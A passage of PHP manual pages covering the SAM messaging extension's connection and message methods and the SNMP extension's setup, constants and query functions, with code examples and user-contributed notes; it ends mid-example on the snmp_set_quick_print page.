SAM_DELIVERYMODE | Indicates whether the messaging server should ensure delivery or whether it is acceptable for messages to be lost in the case of system failures. The value of this property may be set to either SAM_PERSISTENT, to indicate that message loss is not acceptable, or SAM_NON_PERSISTENT, if message loss is acceptable. The resulting behaviour of the send will vary depending on the capabilities of the messaging server the PHP script is currently connected to. If the server does not support persistent messages and SAM_PERSISTENT is specified the send request will fail with an error indication showing the capability is not available.
SAM_PRIORITY | A numeric value between 0 and 9 indicating the desired message delivery priority. A priority value of 0 indicates the lowest priority while 9 indicates highest priority. If no priority is specified a default will be assigned which is dependent on the messaging server being used.
SAM_CORRELID | A string to be assigned as a correlation id for this message. If no value is given the messaging server may assign a value automatically.
SAM_TIMETOLIVE | A time in milliseconds indicating how long the messaging server should retain the message on a queue before discarding it. The default value is 0 indicating the message should be retained indefinitely.
SAM_WMQ_TARGET_CLIENT | This property is only valid when using WebSphere MQ and indicates whether or not an RFH2 header should be included with the message. This option may be set to either 'jms' or 'mq'. The default is 'jms' which means that an RFH2 header is included. If the value 'mq' is specified then no RFH2 is included with the message.

Return Values

A correlation id string that can be used in a subsequent receive call as a selector to obtain any reply or response that has been requested or FALSE if an error occurred.

Note:

A correlation id will only be returned for a successful send to a queue destination (queue://xxxx) in which case it will reflect the message identity of the message on the queue. In the case of a send being used to publish data to a topic the return value will be TRUE as no correlation id is available for return.

Examples

Example #1 Send a message to a queue

<?php
$msg = new SAMMessage('This is a simple text message');
$correlId = $conn->send('queue://send/test', $msg);
if (!$correlId) {
    // The send failed!
    echo "Send failed ($conn->errno) $conn->error";
}

?>

Example #2 Publish a message to a topic

<?php
$msg = new SAMMessage('This is a simple text item');
if (!$conn->send('topic://test', $msg)) {
    // The Send failed!
    echo "Send failed ($conn->errno) $conn->error";
}
?>

Example #3 Send a request and receive a response

<?php
$msg = new SAMMessage('This is a simple text message');
$msg->header->SAM_REPLY_TO = 'queue://receive/test';
$correlid = $conn->send('queue://send/test', $msg);

if (!$correlid) {
    // The Send failed!
    echo "Send failed ($conn->errno) $conn->error";
} else {
    $resp = $conn->receive('queue://receive/test', array(SAM_CORRELID => $correlid));
}
?>

See Also

  • SAMConnection::receive

User Contributed Notes

There are no user contributed notes for this page.


Turn on or off additional debugging output.

  • « SAMConnection::send
  • SAMConnection::subscribe »
  • PHP Manual
  • SAM Functions
  • Turn on or off additional debugging output.

SAMConnection::setDebug

(PECL sam >= 1.1.0)

SAMConnection::setDebug — Turn on or off additional debugging output.

Description

The "setdebug" method is used to turn on or off additional debugging output. The SAM framework will provide method/function entry and exit trace data plus additional information. Protocol specific implementations also provide extra output.

void SAMConnection::setDebug ( bool $switch )

Parameters

switch

If this parameter is set to TRUE additional debugging output will be provided. If the value is set to FALSE output of additional information will be stopped.

Return Values

No value is returned.

Examples

Example #1 Turn on debugging output

<?php
$conn->setdebug(TRUE);
?>

Example #2 Turn off debugging output

<?php
$conn->setdebug(FALSE);
?>

User Contributed Notes

There are no user contributed notes for this page.


Create a subscription to a specified topic.

  • « SAMConnection::setDebug
  • SAMConnection::unsubscribe »
  • PHP Manual
  • SAM Functions
  • Create a subscription to a specified topic.

SAMConnection::subscribe

(PECL sam >= 0.1.0)

SAMConnection::subscribe — Create a subscription to a specified topic.

Description

string SAMConnection::subscribe ( string $targetTopic )

The "subscribe" method is used to create a new subscription to a specified topic.

Parameters

targetTopic

The identity of the topic (topic://topicname) to subscribe to.

Return Values

A subscription identifier that can be used in a subsequent receive call as a selector to obtain any topic data or FALSE if an error occurred. The subscription identifier should be used in the receive call in place of the simple topic name.

Examples

Example #1 Subscribe to a topic

<?php
$subid = $conn->subscribe('topic://A');
if (!$subid) {
  // The subscribe failed!
  echo "Subscribe failed ($conn->errno) $conn->error";
}
?>

See Also

  • SAMConnection::unsubscribe

User Contributed Notes

There are no user contributed notes for this page.


Cancel a subscription to a specified topic.

  • « SAMConnection::subscribe
  • SAMMessage::body »
  • PHP Manual
  • SAM Functions
  • Cancel a subscription to a specified topic.

SAMConnection::unsubscribe

(PECL sam >= 0.1.0)

SAMConnection::unsubscribe — Cancel a subscription to a specified topic.

Description

bool SAMConnection::unsubscribe ( string $subscriptionId [, string $targetTopic ] )

The "unsubscribe" method is used to delete an existing subscription to a specified topic.

Parameters

subscriptionId

The identifier of an existing subscription as returned by a call to the subscribe method.

Return Values

This method returns FALSE if an error occurs.

Examples

Example #1 Delete a subscription

<?php
if (!$conn->unsubscribe($subid)) {
    // The unsubscribe failed!
    echo "Unsubscribe failed ($conn->errno) $conn->error";
}
?>

See Also

  • SAMConnection::subscribe

User Contributed Notes

There are no user contributed notes for this page.


The body of the message.

  • « SAMConnection::unsubscribe
  • SAMMessage::__construct »
  • PHP Manual
  • SAM Functions
  • The body of the message.

SAMMessage::body

(PECL sam >= 0.1.0)

SAMMessage::body — The body of the message.

Description

string $SAMMessage->body;

The "body" property contains the actual body of the message. It may not always be set.

Examples

Example #1 Setting a text string into the body of a message

<?php
$msg = new SAMMessage();
$msg->body = 'This is a simple message';

?>

See Also

  • SAMMessage::header

User Contributed Notes

There are no user contributed notes for this page.


Creates a new Message object

  • « SAMMessage::body
  • SAMMessage::header »
  • PHP Manual
  • SAM Functions
  • Creates a new Message object

SAMMessage::__construct

(PECL sam >= 0.1.0)

SAMMessage::__construct — Creates a new Message object

Description

SAMMessage::__construct ([ mixed $body ] )

Creates a new SAMMessage object optionally specifying a message body.

Parameters

body

The optional body for the message.

Examples

Example #1 Creating a message

<?php

$msg = new SAMMessage();

?>

Example #2 Creating a message with a simple text payload

<?php

$msg = new SAMMessage('This is a simple text message');

?>

User Contributed Notes

There are no user contributed notes for this page.


The header properties of the message.

  • « SAMMessage::__construct
  • SNMP »
  • PHP Manual
  • SAM Functions
  • The header properties of the message.

SAMMessage::header

(PECL sam >= 0.1.0)

SAMMessage::header — The header properties of the message.

Description

object $SAMMessage->header;

The header property is a container for any system or user properties that area associated with the message.

Properties may be assigned by the sender of a message to control the way the messaging systems handles it or may be assigned by the messaging system itself to tell the recipient extra information about the message or the way in which it has been handled.

Some properties are understood by SAM in which case constants have been defined for them. The majority of properties however are ignored by the SAM implementation and simply passed through to the underlying messaging systems allowing the application to use messaging specific property names or to define its own "user" properties.

The SAM defined properties are as follows:

Property name | Possible values
SAM_MESSAGEID | When a message is received this field contains the unique identifier of the message as allocated by the underlying messaging system. When sending a message this field is ignored.
SAM_REPLY_TO | A string providing the identity of the queue on to which responses to this message should be posted.
SAM_TYPE

An indication of the type of message to be sent. The value may be SAM_TEXT indicating the contents of the message body is a text string, or SAM_BYTES indicating the contents of the message body are some application defined format.

The way in which this property is used may depend on the underlying messaging server. For instance a messaging server that supports the JMS (Java Message Service) specification may interpret this value and send messages of type "jms_text" and "jms_bytes". In addition, if the SAM_TYPE property is set to SAM_TEXT the data provided for the message body is expected to be a UTF8 encoded string.

When setting the values of properties it is often useful to give a hint as to the format in which the property should be delivered to the messaging system. By default property values are delivered as text and the following simple syntax may be used to set a value:

Example #1 Setting a text format property using the default syntax

<?php
$msg = new SAMMessage();

$msg->header->myPropertyName = 'textData';
?>

If it is desired to pass type information an alternative syntax may be used where the value and the type hint are passed in an associative array:

Example #2 Setting a text format property using a type hint

<?php
$msg = new SAMMessage();

$msg->header->myPropertyName = array('textData', SAM_STRING);
?>

When passing a type hint the type entry should be one of the SAM defined constant values as defined by the following table:

Constant | Type description
SAM_BOOLEAN | Any value passed will be interpreted as logical true or false. If the value cannot be interpreted as a PHP boolean value the value passed to the messaging system is undefined.
SAM_BYTE | An 8-bit signed integer value. SAM will attempt to convert the property value specified into a single byte value to pass to the messaging system. If a string value is passed an attempt will be made to interpret the string as a numeric value. If the numeric value cannot be expressed as an 8-bit signed binary value data may be lost in the conversion.
SAM_DOUBLE | A long floating point value. SAM will attempt to convert the property value specified into a floating point value with 15 digits of precision. If a string value is passed an attempt will be made to interpret the string as a numeric value. If the passed value cannot be expressed as a 15 digit floating point value data may be lost in the conversion.
SAM_FLOAT | A short floating point value. SAM will attempt to convert the property value specified into a floating point value with 7 digits of precision. If a string value is passed an attempt will be made to interpret the string as a numeric value. If the passed value cannot be expressed as a 7 digit floating point value data may be lost in the conversion.
SAM_INT | An 32-bit signed integer value. SAM will attempt to convert the property value specified into a 32-bit value to pass to the messaging system. If a string value is passed an attempt will be made to interpret the string as a numeric value. If the numeric value cannot be expressed as an 32-bit signed binary value data may be lost in the conversion.
SAM_LONG | An 64-bit signed integer value. SAM will attempt to convert the property value specified into a 64-bit value to pass to the messaging system. If a string value is passed an attempt will be made to interpret the string as a numeric value. If the numeric value cannot be expressed as an 64-bit signed binary value data may be lost in the conversion.
SAM_STRING | SAM will interpret the property value specified as a string and pass it to the messaging system accordingly.

Examples

Example #3 Setting properties as the sender of a message

<?php
$msg = new SAMMessage('This is a test message');

// defining SAM specific properties...
$msg->header->SAM_REPLY_TO = 'queue://test/replyQueue';

// defining arbitrary properties...
//
// a default string property
$msg->header->myStringProp1 = 'a string property';
// a string property with a type hint
$msg->header->myStringProp2 = array('another string property', SAM_STRING);

// a boolean property
$msg->header->myBoolProp = array(FALSE, SAM_BOOL);

// numeric format properties
$msg->header->myIntProp = array(32768, SAM_INT);
$msg->header->myLongProp = array(9876543, SAM_LONG);
$msg->header->myByteProp1 = array(123, SAM_BYTE);
$msg->header->myByteProp2 = array('12', SAM_BYTE);
$msg->header->myFloatProp = array(3.141592, SAM_FLOAT);
$msg->header->myDoubleProp = array(3.14159265358979, SAM_DOUBLE);
?>

Example #4 Retreiving property values from a message

<?php

// accessing an application specific property
$intProp = $msg->header->MyIntProp;

// accessing a messaging system specific property
$encoding = $msg->header->JMS_IBM_Msgtype;

?>

See Also

  • SAMMessage::body

User Contributed Notes

There are no user contributed notes for this page.


SNMP

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SNMP Functions
    • snmp_get_quick_print — Fetches the current value of the UCD library's quick_print setting
    • snmp_get_valueretrieval — Return the method how the SNMP values will be returned
    • snmp_read_mib — Reads and parses a MIB file into the active MIB tree
    • snmp_set_enum_print — Return all values that are enums with their enum value instead of the raw integer
    • snmp_set_oid_numeric_print — Set the OID output format
    • snmp_set_oid_output_format — Set the OID output format
    • snmp_set_quick_print — Set the value of quick_print within the UCD SNMP library
    • snmp_set_valueretrieval — Specify the method how the SNMP values will be returned
    • snmp2_get — Fetch an SNMP object
    • snmp2_getnext — Fetch the SNMP object which follows the given object id
    • snmp2_real_walk — Return all objects including their respective object ID within the specified one
    • snmp2_set — Set the value of an SNMP object
    • snmp2_walk — Fetch all the SNMP objects from an agent
    • snmp3_get — Fetch an SNMP object
    • snmp3_getnext — Fetch the SNMP object which follows the given object id
    • snmp3_real_walk — Return all objects including their respective object ID within the specified one
    • snmp3_set — Set the value of an SNMP object
    • snmp3_walk — Fetch all the SNMP objects from an agent
    • snmpget — Fetch an SNMP object
    • snmpgetnext — Fetch the SNMP object which follows the given object id
    • snmprealwalk — Return all objects including their respective object ID within the specified one
    • snmpset — Set the value of an SNMP object
    • snmpwalk — Fetch all the SNMP objects from an agent
    • snmpwalkoid — Query for a tree of information about a network entity
  • SNMP — The SNMP class
    • SNMP::close — Close SNMP session
    • SNMP::__construct — Creates SNMP instance representing session to remote SNMP agent
    • SNMP::get — Fetch an SNMP object
    • SNMP::getErrno — Get last error code
    • SNMP::getError — Get last error message
    • SNMP::getnext — Fetch an SNMP object which follows the given object id
    • SNMP::set — Set the value of an SNMP object
    • SNMP::setSecurity — Configures security-related SNMPv3 session parameters
    • SNMP::walk — Fetch SNMP object subtree
  • SNMPException — The SNMPException class

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The SNMP extension provides a very simple and easily usable toolset for managing remote devices via the Simple Network Management Protocol.

As it is a wrapper around the underlying Net-SNMP (or UCD-SNMP on older systems) library, all basic concepts are the same and the PHP functions change their behaviour depending on the Net-SNMP configuration files and environment variables.

Beginning with PHP 5.4, an OO API is available.

More information about Net-SNMP can be found at » http://www.net-snmp.org/

User Contributed Notes

There are no user contributed notes for this page.


Requirements

In order to use the SNMP functions requires installation of the » Net-SNMP package. SNMPv3 functions available only when » OpenSSL package is installed too.

On Windows SNMP functions are only available on NT and not on Win95/98.

Begining with PHP 5.4.0 Net-SNMP version 5.3+ is required for Unix installations and Net-SNMP version 5.4+ for Windows.

User Contributed Notes

There are no user contributed notes for this page.


Installation

PHP 5.3.0, 5.3.1 and 5.3.2 do not have SNMP support. SNMP support has been restored in PHP 5.3.3.

The Windows distribution of Net-SNMP contains support files for SNMP in the mibs directory. This directory should added to Windows' environment variables, as MIBDIRS, with the value being the full path to the mibs directory: e.g. c:\usr\mibs.

Important notes for PHP prior to 5.4.0: In order to use the UCD SNMP package, you need to define NO_ZEROLENGTH_COMMUNITY to 1 before compiling it. After configuring UCD SNMP, edit config.h or acconfig.h and search for NO_ZEROLENGTH_COMMUNITY. Uncomment the #define line. It should look like this afterwards:

#define NO_ZEROLENGTH_COMMUNITY 1
Now compile PHP --with-snmp[=DIR] .

If you see strange segmentation faults in combination with SNMP commands, you did not follow the above instructions. If you do not want to recompile UCD SNMP, you can compile PHP with the --enable-ucd-snmp-hack switch which will work around the misfeature.

User Contributed Notes

bug404 at free dot fr 08-Sep-2014 02:00
If net-snmp was not installed in default c:\usr folder (which may be the case for most peoples used to Windows instead of Linux), then, you should also create SNMP_PERSISTENT_DIR system environment variable with "persistent" folder location (located in snmp folder).
Otherwise, php will will create its own persistant folder in c:/usr/snmp/persistent folder, which is probably not what you want !
Coffee-fan 14-Feb-2013 02:35
In order to build and install php in Ubuntu 12.10, beyond the normal "build-essential" package, I had to install the following packages: apache2-prefork-dev  libxml2-dev libsnmp libsnmp-dev libtool

Command line should be like this:

sudo apt-get install apache2-prefork-dev libxml2-dev libsnmp libsnmp-dev libtool
Darren Wolfe 04-Jun-2012 10:18
If PHP complains that some mibs are missing and they are not included in your windows php package, they can be obtained from the source package of net-snmp itself.
flintjt att hotmail dot com 04-Apr-2011 11:23
For win32 (tested on win XP and 2k3 server 32bit):
Tested with versions 5.3.3 VC9, and 5.3.6 VC9.
The php_snmp.dll, requires that you set the environment variable MIBDIRS pointed to your MIBs folder.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

For the snmp_set_oid_output_format()
SNMP_OID_OUTPUT_SUFFIX (integer)
As of 5.4.0
SNMP_OID_OUTPUT_MODULE (integer)
As of 5.4.0
SNMP_OID_OUTPUT_FULL (integer)
As of 5.2.0
SNMP_OID_OUTPUT_NUMERIC (integer)
As of 5.2.0
SNMP_OID_OUTPUT_UCD (integer)
As of 5.4.0
SNMP_OID_OUTPUT_NONE (integer)
As of 5.4.0
For the snmp_set_valueretrieval()
SNMP_VALUE_LIBRARY (integer)
SNMP_VALUE_PLAIN (integer)
SNMP_VALUE_OBJECT (integer)
SNMP types as returned if SNMP_VALUE_OBJECT was used with snmp_set_valueretrieval()
SNMP_BIT_STR (integer)
SNMP_OCTET_STR (integer)
SNMP_OPAQUE (integer)
SNMP_NULL (integer)
SNMP_OBJECT_ID (integer)
SNMP_IPADDRESS (integer)
SNMP_COUNTER (integer)
SNMP_UNSIGNED (integer)
SNMP_TIMETICKS (integer)
SNMP_UINTEGER (integer)
SNMP_INTEGER (integer)
SNMP_COUNTER64 (integer)

User Contributed Notes

There are no user contributed notes for this page.


SNMP Functions

Table of Contents

  • snmp_get_quick_print — Fetches the current value of the UCD library's quick_print setting
  • snmp_get_valueretrieval — Return the method how the SNMP values will be returned
  • snmp_read_mib — Reads and parses a MIB file into the active MIB tree
  • snmp_set_enum_print — Return all values that are enums with their enum value instead of the raw integer
  • snmp_set_oid_numeric_print — Set the OID output format
  • snmp_set_oid_output_format — Set the OID output format
  • snmp_set_quick_print — Set the value of quick_print within the UCD SNMP library
  • snmp_set_valueretrieval — Specify the method how the SNMP values will be returned
  • snmp2_get — Fetch an SNMP object
  • snmp2_getnext — Fetch the SNMP object which follows the given object id
  • snmp2_real_walk — Return all objects including their respective object ID within the specified one
  • snmp2_set — Set the value of an SNMP object
  • snmp2_walk — Fetch all the SNMP objects from an agent
  • snmp3_get — Fetch an SNMP object
  • snmp3_getnext — Fetch the SNMP object which follows the given object id
  • snmp3_real_walk — Return all objects including their respective object ID within the specified one
  • snmp3_set — Set the value of an SNMP object
  • snmp3_walk — Fetch all the SNMP objects from an agent
  • snmpget — Fetch an SNMP object
  • snmpgetnext — Fetch the SNMP object which follows the given object id
  • snmprealwalk — Return all objects including their respective object ID within the specified one
  • snmpset — Set the value of an SNMP object
  • snmpwalk — Fetch all the SNMP objects from an agent
  • snmpwalkoid — Query for a tree of information about a network entity

User Contributed Notes

Chris 01-Nov-2007 10:50
Here's a fresh list of API for SNMPv1, SNMPv2c, and SNMPv3 as of PHP 5.2.4:

SNMPv1
------
string snmpget(string host, string community, string object_id [, int timeout [, int retries]]);

string snmpgetnext(string host, string community, string object_id [, int timeout [, int retries]]);

array snmpwalk(string host, string community, string object_id [, int timeout [, int retries]]);

array snmprealwalk(string host, string community, string object_id [, int timeout [, int retries]]);

bool snmp_get_quick_print(void);

void snmp_set_quick_print(int quick_print);

void snmp_set_enum_print(int enum_print);

void snmp_set_oid_output_format(int oid_format);

int snmpset(string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]]);

SNMPv2c
-------
string snmp2_get(string host, string community, string object_id [, int timeout [, int retries]]);

string snmp2_getnext(string host, string community, string object_id [, int timeout [, int retries]]);

array snmp2_walk(string host, string community, string object_id [, int timeout [, int retries]]);

array snmp2_real_walk(string host, string community, string object_id [, int timeout [, int retries]]);

int snmp2_set(string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]]);

SNMPv3
------
int snmp3_get(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_getnext(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_real_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_set(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id, string type, mixed value [, int timeout [, int retries]]);

General
-------
int snmp_set_valueretrieval(int method);

int snmp_get_valueretrieval();

int snmp_read_mib(string filename);

SNMPv3 options
--------------
SNMPv3 offers a different authentication/authorization scheme than previous versions of SNMP.  To aid in using the API listed above, here is a brief explanation of each of the unique parameters used in the snmp3_* functions.

$sec_name - the "username" used for authentication to the system

$sec_level - the authentication scheme ('noAuthNoPriv', 'authNoPriv', or 'authPriv')

$auth_protocol - the encryption protocol used for authentication ('MD5' [default] or 'SHA')

$auth_passphrase - the encrypted key to use as the authentication challenge

$priv_protocol - the encryption protocol used for protecting the protocol data unit ('DES' [default], 'AES128', 'AES192', or 'AES256')

$priv_passphrase - the key to use for encrypting the protocol data unit

There are good code snippets available on http://forums.cacti.net/about5403.html for more information.
1413 at blargh dot com 10-Nov-2005 10:29
For my purposes in PHP coding, I have the following SNMP options set, always.  These aren't documented very well in PHP's docs, but they make dealing with the SNMP results a LOT easier:

<?php
// Return back the numeric OIDs, instead of text strings.
snmp_set_oid_numeric_print(1);

// Get just the values.
snmp_set_quick_print(TRUE);

// For sequence types, return just the numbers, not the string and numbers.
snmp_set_enum_print(TRUE);

// Don't let the SNMP library get cute with value interpretation.  This makes
// MAC addresses return the 6 binary bytes, timeticks to return just the integer
// value, and some other things.
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
?>


Fetches the current value of the UCD library's quick_print setting

  • « SNMP Functions
  • snmp_get_valueretrieval »
  • PHP Manual
  • SNMP Functions
  • Fetches the current value of the UCD library's quick_print setting

snmp_get_quick_print

(PHP 4, PHP 5)

snmp_get_quick_print — Fetches the current value of the UCD library's quick_print setting

Description

bool snmp_get_quick_print ( void )

Returns the current value stored in the UCD Library for quick_print. quick_print is off by default.

Return Values

Returns TRUE if quick_print is on, FALSE otherwise.

Examples

Example #1 snmp_get_quick_print() example

<?php
$quickprint = snmp_get_quick_print();
?>

See Also

  • snmp_set_quick_print() - Set the value of quick_print within the UCD SNMP library for a full description of what quick_print does.

User Contributed Notes

antic 23-Feb-2003 02:13
This can be used to parse the returned values depending on the quick print setting. For example sysUpTime might look something like this: "Timeticks: (34575334) 4 days, 0:02:33.34", but if quick print is enabled it will be on the form: "4:0:2:33.34". To get the same output you can parse it differently, something like:

if(@ $sysUpTime = snmpget($switch,$community,"system.sysUpTime.0")){
    if(snmp_get_quick_print()){
       sscanf($sysUpTime, "%d:%d:%d:%d.%d",$day,$hour,$minute,$sec,$ticks);
        $sysUpTime = "$day days, $hour:$minute:$sec.$ticks";
    }else{
       $sysUpTime = ereg_replace("Timeticks: \([0-9]+\) ","",$sysUpTime);
   }
}


Return the method how the SNMP values will be returned

  • « snmp_get_quick_print
  • snmp_read_mib »
  • PHP Manual
  • SNMP Functions
  • Return the method how the SNMP values will be returned

snmp_get_valueretrieval

(PHP 4 >= 4.3.3, PHP 5)

snmp_get_valueretrieval — Return the method how the SNMP values will be returned

Description

int snmp_get_valueretrieval ( void )

Return Values

OR-ed combitantion of constants ( SNMP_VALUE_LIBRARY or SNMP_VALUE_PLAIN ) with possible SNMP_VALUE_OBJECT set.

Examples

Example #1 Using snmp_get_valueretrieval

<?php
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 if (snmp_get_valueretrieval() & SNMP_VALUE_OBJECT) {
   echo $ret->value;
 } else {
   echo $ret;
 }
?>

See Also

  • snmp_set_valueretrieval() - Specify the method how the SNMP values will be returned
  • Predefined Constants

User Contributed Notes

There are no user contributed notes for this page.


Reads and parses a MIB file into the active MIB tree

  • « snmp_get_valueretrieval
  • snmp_set_enum_print »
  • PHP Manual
  • SNMP Functions
  • Reads and parses a MIB file into the active MIB tree

snmp_read_mib

(PHP 5)

snmp_read_mib — Reads and parses a MIB file into the active MIB tree

Description

bool snmp_read_mib ( string $filename )

This function is used to load additional, e.g. vendor specific, MIBs so that human readable OIDs like VENDOR-MIB::foo.1 instead of error prone numeric OIDs can be used.

The order in which the MIBs are loaded does matter as the underlying Net-SNMP libary will print warnings if referenced objects cannot be resolved.

Parameters

filename

The filename of the MIB.

Examples

Example #1 Using snmp_read_mib()

<?php
 print_r( snmprealwalk('localhost', 'public', '.1.3.6.1.2.1.2.3.4.5') );

 snmp_read_mib('./FOO-BAR-MIB.txt');
 print_r( snmprealwalk('localhost', 'public', 'FOO-BAR-MIB::someTable' );
?>

The above example is made up but the results would look like:

Array
(
    [iso.3.6.1.2.1.2.3.4.5.0] => Gauge32: 6
)
Array
(
    [FOO-BAR-MIB::someTable.0] => Gauge32: 6
)

User Contributed Notes

jdhall75 at yahoo dot com 05-Mar-2008 02:50
If you are trying to import mibs with dependencies on other mibs you will have to set the MIBDIRS environment variable.

Unix / Linux: export MIBDIRS=/home/<user>/MIBS:/usr/share/snmp/mibs
Window: Good luck! No really.  Try this url out.  It has everything that you need to know about setting environment vars in windows.

http://vlaurie.com/computers2/Articles/environment.htm
ptitgal at hotmail dot com 28-Feb-2006 11:37
Importing massive Mibs located in a directory
<?php
/******************** Loading Mibs **************/
 $mib_path='YourPath';
 if ($handle = opendir($mib_path))
 { echo "Directory handle: $handle <br>";
    echo "Files: <br>";
    while (false !== ($file = readdir($handle)))
    { if($file!='.')
       { if($file!='..')
          { echo "Read : ";
            echo "$mib_path.$file";
            if(snmp_read_mib($mib_path.'\\'.$file)) echo " Succesful <br>";
            else echo " Failed <br>";
         }
        }
    }
}
closedir($handle);

?>


Return all values that are enums with their enum value instead of the raw integer

  • « snmp_read_mib
  • snmp_set_oid_numeric_print »
  • PHP Manual
  • SNMP Functions
  • Return all values that are enums with their enum value instead of the raw integer

snmp_set_enum_print

(PHP 4 >= 4.3.0, PHP 5)

snmp_set_enum_print — Return all values that are enums with their enum value instead of the raw integer

Description

bool snmp_set_enum_print ( int $enum_print )

This function toggles if snmpwalk/snmpget etc. should automatically lookup enum values in the MIB and return them together with their human readable string.

Parameters

enum_print

As the value is interpreted as boolean by the Net-SNMP library, it can only be "0" or "1".

Examples

Example #1 Using snmp_set_enum_print()

<?php
 snmp_set_enum_print(0);
 echo snmpget('localhost', 'public', 'IF-MIB::ifOperStatus.3') . "\n";
 snmp_set_enum_print(1);
 echo snmpget('localhost', 'public', 'IF-MIB::ifOperStatus.3') . "\n";
?>

The above would return

 INTEGER: up(1)
 INTEGER: 1

Notes

Note:

snmp_set_enum_print() is only available when using the UCD SNMP library. This function is not available when using the Windows SNMP library.

User Contributed Notes

dbeecher at tekops dot com 15-Jun-2004 09:23
This function is only available if using NET_SNMP.  It is NOT available if using UCD_SNMP.  Likewise UCD_SNMP supports some behaviors that NET_SNMP does not.  (found limitation by looking in php snmp.c file)


Set the OID output format

  • « snmp_set_enum_print
  • snmp_set_oid_output_format »
  • PHP Manual
  • SNMP Functions
  • Set the OID output format

snmp_set_oid_numeric_print

(PHP 4 >= 4.3.0, PHP 5)

snmp_set_oid_numeric_print — Set the OID output format

Description

void snmp_set_oid_numeric_print ( int $oid_format )

This function is an alias of: snmp_set_oid_output_format().

Changelog

Version | Description
5.2.0 | Since PHP 5.2.0.

See Also

  • snmp_set_oid_output_format() - Set the OID output format

User Contributed Notes

sepf at denkfehler dot org 09-Mar-2005 10:08
This function is only available if you are using Net-SNMP.


Set the OID output format

  • « snmp_set_oid_numeric_print
  • snmp_set_quick_print »
  • PHP Manual
  • SNMP Functions
  • Set the OID output format

snmp_set_oid_output_format

(PHP 5 >= 5.2.0)

snmp_set_oid_output_format — Set the OID output format

Description

bool snmp_set_oid_output_format ( int $oid_format = SNMP_OID_OUTPUT_MODULE )

snmp_set_oid_output_format() sets the output format to be full or numeric.

Parameters

oid_format
OID .1.3.6.1.2.1.1.3.0 representation for various oid_format values
SNMP_OID_OUTPUT_FULL | .iso.org.dod.internet.mgmt.mib-2.system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NUMERIC | .1.3.6.1.2.1.1.3.0

Begining from PHP 5.4.0 four additional constants available:

SNMP_OID_OUTPUT_MODULE | DISMAN-EVENT-MIB::sysUpTimeInstance
SNMP_OID_OUTPUT_SUFFIX | sysUpTimeInstance
SNMP_OID_OUTPUT_UCD | system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NONE | Undefined

Return Values

No value is returned.

Notes

Note:

snmp_set_oid_output_format() is only available when using the UCD SNMP library. This function is not available when using the Windows SNMP library.

Examples

Example #1 Using snmprealwalk()

<?php

 snmp_read_mib("/usr/share/mibs/netsnmp/NET-SNMP-TC");

 // default or SNMP_OID_OUTPUT_MODULE in PHP >= 5.3.6
 print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );

 snmp_set_oid_output_format(SNMP_OID_OUTPUT_NUMERIC);
 print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );

 snmp_set_oid_output_format(SNMP_OID_OUTPUT_FULL);
 print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );
?>

The above would output:

 Array
 (
    [RFC1213-MIB::sysObjectID.0] => OID: NET-SNMP-TC::linux
 )
 Array
 (
    [.1.3.6.1.2.1.1.2.0] => OID: .1.3.6.1.4.1.8072.3.2.10
 )
 Array
 (
    [.iso.org.dod.internet.mgmt.mib-2.system.sysObjectID.0] => OID: .iso.org.dod.internet.private.enterprises.netSnmp.netSnmpEnumerations.netSnmpAgentOIDs.linux
 )

User Contributed Notes

ww at 9rivers dot com 30-Dec-2010 05:43
There seems to be more than SNMP_OID_OUTPUT_FULL and SNMP_OID_OUTPUT_NUMERIC.

For example, when I walk on BRIDGE-MIB::dot1dTpFdbPort without setting the output format and var_dump the result, I get output like:

  ["BRIDGE-MIB::dot1dTpFdbPort.'..F8.7'"]=>
  string(2) "52"

When I set it to NUMERIC, I get what I expected:

  [".1.3.6.1.2.1.17.4.3.1.2.244.206.70.56.24.55"]=>
  string(2) "52"

When I set it to FULL, I get even more (line-wrapped manually):

  [".iso.org.dod.internet.mgmt.mib-2 .dot1dBridge.dot1dTp .dot1dTpFdbTable .dot1dTpFdbEntry .dot1dTpFdbPort. '..F8.7'"]=>
  string(2) "52"


Set the value of quick_print within the UCD SNMP library

  • « snmp_set_oid_output_format
  • snmp_set_valueretrieval »
  • PHP Manual
  • SNMP Functions
  • Set the value of quick_print within the UCD SNMP library

snmp_set_quick_print

(PHP 4, PHP 5)

snmp_set_quick_print — Set the value of quick_print within the UCD SNMP library

Description

bool snmp_set_quick_print ( bool $quick_print )

Sets the value of quick_print within the UCD SNMP library. When this is set (1), the SNMP library will return 'quick printed' values. This means that just the value will be printed. When quick_print is not enabled (default) the UCD SNMP library prints extra information including the type of the value (i.e. IpAddress or OID). Additionally, if quick_print is not enabled, the library prints additional hex values for all strings of three characters or less.

By default the UCD SNMP library returns verbose values, quick_print is used to return only the value.

Currently strings are still returned with extra quotes, this will be corrected in a later release.

Parameters

quick_print

Return Values

No value is returned.

Examples

Setting quick_print is often used when using the information returned rather than displaying it.

Example #1 Using snmp_set_quick_print()

<?php
snmp_set_quick_print(0);
$a = snmpget("127.0.0.1", "public", ".1.3.6.1.2.1.2.2.1.9.1");
echo "$a\n";
snmp_set_quick_print(1);
$a = snmpget("127.0.0.1", "public", ".1.3.6.1.2.1.2.2.1.9.1");
